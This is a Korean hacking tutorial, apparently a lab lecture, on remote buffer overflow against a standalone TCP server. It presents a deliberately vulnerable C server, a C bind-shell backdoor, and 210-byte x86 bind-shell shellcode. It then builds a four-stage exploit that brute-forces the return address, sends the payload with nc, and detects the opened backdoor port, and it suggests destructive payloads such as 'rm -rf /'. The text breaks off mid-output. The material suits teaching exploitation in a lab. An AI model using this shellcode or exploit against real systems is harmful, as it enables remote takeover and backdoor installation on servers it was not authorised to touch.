부제 : 독립적인 네트워크 프로그램에 대한 오버플로우 공격 Xinetd에 의해 네트워크에 연결된 로컬 프로그램은 그것의 표준 입출력 주체가 모두 해당 Port에 연결된 클라이언트가 된다. 그렇기 때문에, 오버플로우 공격에 성공 하여 쉘을 획득하게 되면, 그 쉘의 표준 입출력 역시 Xinetd의 덕으로 클라이언트와 연결이 되어 공격자가 자유롭게 쉘을 사용할 수 있었던 것이다. 하지만, Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. 즉, 직접 socket을 생성하고, bind와 listen 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send()와 recv() 등의 함수에 의한 통신만 가능하다. 따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가 서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다. 결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는 것이다. 이번 강좌에서는 이러한 상황에서 타겟 서버의 쉘을 획득하는 방법에 대해 설명한다. 다음의 취약한 소스를 보자. ============================================================================= // 리모트 버퍼 오버플로우 취약점을 가진 프로그램 // string 변수의 크기는 300바이트이나, recv() 함수로 400바이트를 // 입력받아 string 변수에 저장하는 과정에서 오버플로우 발생. #include #include #include #include #include #include int main() { char string[300], sendmsg[400]; // sendmsg 변수는 단순히 클라이언트로의 응답을 위한 것임. int sockfd, your_sockfd; struct sockaddr_in my_addr, your_addr; int len; sockfd = socket(AF_INET, SOCK_STREAM, 0); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(31337); my_addr.sin_addr.s_addr = INADDR_ANY; bzero(&my_addr.sin_zero, 8); if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1){ perror("bind error"); exit(-1); } listen(sockfd, 5); while(1){ len = sizeof(your_addr); your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len); if(your_sockfd==-1){ perror("accept error"); exit(-1); } if(fork()!=0){ close(your_sockfd); continue; } else break; } printf("connected from %s\n", inet_ntoa(your_addr.sin_addr)); len = recv(your_sockfd, string, 400, 0); printf("String Length = %d\n", len); string[len-1] = '\0'; sprintf(sendmsg, "당신이 입력한 문자열 : %s\n", string); send(your_sockfd, sendmsg, strlen(sendmsg), 0); close(sockfd); close(your_sockfd); } ============================================================================= 위 프로그램은 TCP 31337번 포트를 생성한 후, 이 곳으로 접속된 클라이언트에게 한 번의 문자열을 입력받은 후, 그것을 다시 클라이언트에게 출력해주고 종료한다. 이처럼, 독립적인 네트워크 프로그램으로 구현될 경우엔 소스 내의 send()와 recv() 함수가 요청하고, 보내주는 입출력만 처리할 수 있다. 즉, 위 프로그램의 경우엔 오로지 한 번 입력을 받고, 역시 한 번 출력을 할 수밖에 없는 것이다. 그럼 위와 같은 환경에서 string 변수를 overflow시켜 쉘을 획득했다고 해보자. 그럼, 그 쉘의 입력과 출력은 어디로 연결될까? 보다시피 main() 함수가 종료된 이후에는 아무런 send()와 recv() 함수도 존재하지 않음으로, 입력도 받을 수 없고, 출력 역시 할 수 없다. 더군다나, main() 함수가 종료되기 직전에 sockfd와 your_sockfd. 즉, 통신에 사용하는 모든 소켓을 닫아버리기 때문에 쉘과 입출력 통신을 하는 것은 더욱 막연하기만하다. 아마도, 위 프로그램을 오버플로우시켜 쉘을 띄우게 되면, 그 쉘을 실행하는 것은 프로그램의 백그라운드 프로세스가 될 것이다. 즉, 공격자와 공격 대상자가 있을 때, 공격 대상자의 쉘이 다시 공격 대상자에게 실행되는 것이니 아무런 의미가 없다. 더군다나 실제로 위와 같은 형태에 네트워크 프로그램은 터미널에 연결되지 않은 데몬 형태로 작동하는 경우가 대부분이며, 그와 같은 경우엔 쉘이 실행되더라도 그 쉘을 받게되는 주체는 아무 것도 없게되고, 따라서 통신 대상이 없는 쉘은 실행된 즉시 소멸될 것이다. 자, 그럼 이와같은 상황에서 어떻게 공격을 구상해야할 것인가? 일단, 쉘코드. 즉, 타겟 서버로 전송되는 기계어 코드가 꼭 쉘을 띄우는 것만일 필요는 없다는 점을 상기해야한다. 다시 말해 타겟 서버에 명령을 내리는 어떠한 기계어도 실행시킬 수 있다는 얘기다. 따라서 꼭 쉘을 얻는 것만이 아닌 "rm -rf /" 역할을 하는 기계어도 실행시킬 수 있고, "adduser mirable"이라는 명령의 기계어도 실행시킬 수 있다는 말이다. 비록 직접적으로 쉘은 얻어내지 못하더라도 우리는 원하는 모든 명령을 타겟 서버에 실행되게 할 수가 있다. 그럼, 과연 어떤 기계어 코드를 전송해야 가장 효과적일까? passthru() 함수를 담은 /home/public_html/backdoor.php 파일을 만들까? 이건 좀 번거로워 보인다. 그럼, /usr/sbin/in.telnetd 프로그램을 이용 하여 백도어를 생성할까? 그나마 조금 괜찮은 방법이다. 하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 있게 된다. 자, 그럼 이제 답은 나왔다. 지금까지 사용해왔던 "/bin/bash"를 실행하는 쉘코드는 독립적인 네트워크 프로그램에 대한 오버플로우 공격엔 아무런 쓸모가 없음으로 버려버리고, 대신 백도어 쉘을 생성하는 바인드 쉘 코드를 사용하도록 하자. 그럼, 먼저 바인드 쉘 프로그램을 C언어로 구현하여 그 동작 원리를 이해해 보도록 하자. ============================================================================ #include #include #include #include #include #include int main() { int sockfd, your_sockfd, len; struct sockaddr_in my_addr, your_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(12345); my_addr.sin_addr.s_addr = INADDR_ANY; memset(&my_addr.sin_zero, 0, 8); if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){ perror("bind"); exit(-1); } listen(sockfd, 5); len = sizeof(your_addr); your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len); dup2(your_sockfd, 0); // 표준 입력을 클라이언트로.. dup2(your_sockfd, 1); // 표준 출력을 클라이언트로.. dup2(your_sockfd, 2); // 에러 출력을 클라이언트로.. execl("/bin/bash", "bash", 0); close(sockfd); close(your_sockfd); } ============================================================================ 가장 핵심이 되는 부분은 dup2()가 사용된 세 줄이다. dup2()는 디스크립터 복사 함수로써, dup2(your_sockfd, 0)은 your_sockfd 디스크립터를 0 디스크립터로 복사 하라는 의미임으로 곧 0은 your_sockfd가 된다. 0은 stdin. 즉, 표준 입력이며, 표준 입력이 your_sockfd(클라이언트와 연결된 소켓)가 된 것이다. 또, dup2(your_ sockfd, 1)에 의해서 표준 출력의 주체 역시 클라이언트의 소켓이 되었다. 마지막 dup2(your_sockfd, 2)에 의해서 에러 출력의 주체도 클라이언트가 되었고, 결과적으로 프로그램의 입출력 대상이 포트에 연결된 클라이언트가 되었다. 또한, 이 상태에서 "/bin/bash"를 실행하였으니, 쉘읠 입출력 대상 역시 클라이언트 가 되는 것이고, 클라이언트 입장에서 볼 때는 마치 로컬에서 직접 쉘을 실행한 것과 같은 결과를 얻게 되는 것이다. (위 프로그램은 원리 이해를 쉽게하기위하여 오직 한 번의 클라이언트부터의 연결만 받도록 구현되어있다. 여러 개의 클라이언 트를 받거나, 쉘이 종료된 후에도 프로그램이 작동하도록 하려면, fork() 함수를 사용하여 접속이 올때마다 똑같은 프로세스를 복사해서 실행하도록 수정하면 될 것이다.) 이제 위 C언어 코드를 기계어. 즉 백도어 쉘코드로 변환하는데, 직접 쉘코드를 구현하면 많은 시간과 지면이 소요됨으로 이 강좌에선 이미 완성된 백도어 쉘코드를 가져와 사용하도록 하겠다. ◎ TCP 45295 Port를 열어주는 Bind Shell 백도어 기계어 코드. (from sambal.c) "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; 위 문자열은 총 210바이트이며, 이 용량을 수용하기위하여 취약 프로그램의 버퍼 크기를 넉넉하게 300 바이트로 할당한 것이었다. 그럼 이제 실제 공격 테스트를 진행해보자. 공격 환경은 다음과 같다. ================================================================== Target : ftz.hackerschool.org, 레드햇 7.3, gcc 2.96 다음과 같이 guest 계정으로 취약 프로그램을 실행한다. [guest@ftz guest]$ gcc -o vuln_prog vuln_prog.c [guest@ftz guest]$ ./vuln_prog ================================================================== 공격자의 서버 환경은 유닉스 기반이기만하면 어떤 것이 되던지 상관없다. 이 문서를 작성할 땐 같은 서버에 또 하나의 터미널로 접속한 후, localhost로 공격을 테스트하였다. ================================================================== [guest@ftz guest]$ telnet localhost 31337 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. hello 당신이 입력한 문자열 : hello Connection closed by foreign host. [guest@ftz guest]$ ================================================================== 그럼 이제 어떤 방법으로 공격할지를 구상해보자. 공격 방법을 쉽게 떠올릴려면, 취약한 루틴에 해당하는 버퍼 상태를 그림으로 그리는 것이 큰 도움이 된다. * vuln_prog의 버퍼 모습 (STACK) [sendmsg(400 bytes)] [string(300 bytes)] [sfp] [return address] [ ... ] 여기서 문제가 될 수 있는 것은 dummy이다. 컴파일러에의해서 dummy가 추가될 수 있기 때문이다. 다음과 같은 간단한 테스트 프로그램을 만들어 dummy 생성 여부를 확인해 보자. ============================================ #include "dumpcode.h" int main() { char string[300], sendmsg[400]; memset(string, 'A', 300); memset(sendmsg, 'B', 400); dumpcode(sendmsg, 800); } ============================================ * 실행 결과 ============================================================================== [guest@ftz guest]$ gcc -o dummy dummy.c [guest@ftz guest]$ ./dummy 0xbffff8a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8b0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8e0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff900 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff910 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff920 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff930 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff940 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff950 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff960 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff970 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff980 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff990 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9b0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9e0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa10 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa20 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa50 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa70 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa80 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa90 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffaa0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffab0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffac0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffad0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffae0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffaf0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb50 41 41 41 41 41 41 41 41 41 41 41 41 51 84 04 08 AAAAAAAAAAAAQ... 0xbffffb60 84 97 04 08 88 98 04 08 a8 fb ff bf 99 74 01 42 .............t.B 0xbffffb70 01 00 00 00 d4 fb ff bf dc fb ff bf fa 82 04 08 ................ 0xbffffb80 30 87 04 08 00 00 00 00 a8 fb ff bf 82 74 01 42 0............t.B 0xbffffb90 00 00 00 00 dc fb ff bf bc e5 12 42 c0 34 01 40 ...........B.4.@ 0xbffffba0 01 00 00 00 70 83 04 08 00 00 00 00 91 83 04 08 ....p........... 0xbffffbb0 94 86 04 08 01 00 00 00 d4 fb ff bf e4 82 04 08 ................ [guest@ftz guest]$ ============================================================================== 위 결과를 분석해보면, string 변수를 16바이트 단위를 만들기위해 4바이트의 더미가 추가되었으며, return address와 sfp를 16바이트 단위로 만들기위해 8바이트의 더미가 추가된 것을 볼 수 있다. 즉, 총 12바이트의 더미가 생성된 것이다. 이제 버퍼를 다시 그려보자. * vuln_prog의 버퍼 모습 (STACK) [sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...] 이제 이 프로그램이 공격당할 때의 버퍼 모습을 쉽게 유추할 수 있다. * 공격당할 때의 버퍼 모습 [sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...] ~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~ ┃ [210바이트 쉘코드] [어떤 값이 되던 상관없음.] ┃ ↑ ┃ ┗━━━━━━━━━━━━━━━━━━━━━━┛ * 리턴 어드레스가 쉘코드의 시작을 가리키도록 함. 위와같은 모양이 된다면, 버퍼가 오버플로우되고, main()함수가 종료되는 시점에서 바인드 쉘코드가 실행됨과 동시에 45295번 포트가 열릴 것이다. 이제 Exploit을 구현해 나가보자. 문제가 될만한 부분은 쉘코드의 시작 위치를 어떻게 알아내느냐하는 것인데, 역시 특별한 방법은 없으며, Brute Force를 통해 그 위치를 찾아나가야 한다. ◎ Exploit 작성 1단계 : 취약 프로그램의 버퍼에 저장될 공격 string을 구성한다. ======================================================================== #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int main() { char Attack_String[320]; int Ret_Addr = 0xc0000000; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); memcpy(&Attack_String[316], &Ret_Addr, 4); } ======================================================================== 취약 프로그램의 string 변수 300바이트와 dummy 12바이트, sfp 4바이트 그리고 return address 4바이트를 합하여 총 320 바이트를 공격 스트링의 크기로 할당하였다. 그 다음엔 Brute Force를 통해 변경시킬 Ret_Addr 변수를 선언하였다. 다음 부분에서 Attack_String을 A 문자로 가득 채운 이유는 후에 완성된 공격 스트링을 쉘에 입력할 때, ;, |, & 등의 특수 문자가 입력되는 것을 방지하기 위함이다. 이렇게 초기화를 하지 않으면 쓰레기 값들이 대신 출력되기 때문이다. 이제 공격 스트링의 앞부분에 바인드 쉘코드를 복사하고, 취약 프로그램의 리턴 어드레스가 위치하는 부분에 공격자가 임의로 변경할 리턴 어드레스를 복사하였다. 이 변경할 값은 쉘코드의 시작 부분이 될 것이며, 이제 Brute Force로 이 값을 추측하는 루틴을 추가해야 한다. ◎ Exploit 작성 2단계 : Brute Force 루틴 추가. ======================================================================== #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int main() { char Attack_String[320]; int Ret_Addr = 0xc0000000; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); printf("%p\n", Ret_Addr); Ret_Addr -= 4; // 0xc0000000에서부터 4바이트씩 감소 } } ======================================================================== * 실행 결과 ==================================== [guest@ftz lecture]$ ./exploit 0xc0000000 0xbffffffc 0xbffffff8 0xbffffff4 0xbffffff0 ... 생략 ... ==================================== 이처럼 스택의 가장 끝 부분부터 4바이트 단위로 리턴 어드레스를 변경해가다보면, 언젠가는 쉘코드의 시작 부분을 실행하게 될 것이다. 이제 다음은 쉘코드와 Brute Force로 얻은 새로운 리턴 어드레스의 주소를 취약 프로그램으로 전송하는 단계이다. 이 부분은 nc라는 패킷 전송 툴을 이용하면 편하다. ◎ Exploit 작성 3단계 : 공격 패킷 전송 루틴 추가 ======================================================================== #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int main() { char Attack_String[320], Cmd[400]; int Ret_Addr = 0xc0000000; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); Ret_Addr -= 4; printf("%p\n", Ret_Addr); // 공격 패킷 전송 루틴 sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String); system(Cmd); } } ======================================================================== 이제 위 Exploit을 실행하면, 다음과 같이 취약 프로그램의 리턴 어드레스 값을 변경해가며 공격 패킷을 전송한다. 이 과정이 계속 반복하다가 취약 프로그램의 변경된 리턴 어드레스와 쉘코드가 위치하게되는 string 변수의 시작 부분이 일치하게되면, 백도어 포트가 열리게 될 것이다. ======================================================================== [guest@ftz lecture]$ ./exploit ... 생략 ... 0xbffff9fc 당신이 입력한 문자열 : 1??�캟?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1? 홺1??1픐R됣낡f?됖1??�낢�0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h// shh/bin됥딻PS됣? ?1??1핃箚? ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff9f8 당신이 입력한 문자열 : 1??�캟?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1? 홺1??1픐R됣낡f?됖1??�낢�0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h// shh/bin됥딻PS됣? ?1??1핃箚? ... 생략 ... ======================================================================== 위 Exploit을 실행한 결과, 약 10여분이 지난 후에 45295번 포트가 열리게되었고, 취약 프로그램을 수정하여 string 변수의 주소 값을 출력해본 결과 0xbffff9f8이 바로 공격자가 찾아내야했던 값이라는 것을 알 수 있었다. 이처럼 백도어 포트를 오픈하는 바인드 쉘코드와 Brute Force를 이용하여 독립적인 네트워크 프로그램에대한 공격을 성공시켰다. 하지만, 어느 순간에 공격에 성공했는지를 알 수 없었기 때문에, 수시로 45295번 포트로 수동 접속을 해봐야만했다. 그럼 이번에는 자동으로 49295번 포트로 접속을하여, 만약 접속에 성공했다면 Exploit을 종료시키는 루틴을 추가해 보겠다. ◎ Exploit 작성 4단계 : 공격 성공 여부 판단 루틴 추가 ======================================================================== #include #include #include #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; int Check_Result(void) { int sockfd; struct sockaddr_in target_addr; target_addr.sin_family = AF_INET; target_addr.sin_port = htons(45295); target_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); bzero(&target_addr.sin_zero, 0, 8); sockfd = socket(AF_INET, SOCK_STREAM, 0); // 45295번 포트로 접속이 되면 성공, 안되면 실패. if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){ close(sockfd); return 0; } else{ close(sockfd); return 1; } } int main() { char Attack_String[320], Cmd[400]; int Ret_Addr = 0xbffffa00; memset(Attack_String, 'A', 320); memcpy(Attack_String, shellcode, strlen(shellcode)); while(1){ memcpy(&Attack_String[316], &Ret_Addr, 4); Ret_Addr -= 4; printf("%p\n", Ret_Addr); sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String); system(Cmd); // 공격 결과 체크 루틴 if(Check_Result()){ printf("Exploit Succeed.!\n"); exit(0); } } } ======================================================================== * 실행 결과 ======================================================================== [guest@ftz lecture]$ ./exploit ... 생략 ... 0xbffff9fc 당신이 입력한 문자열 : 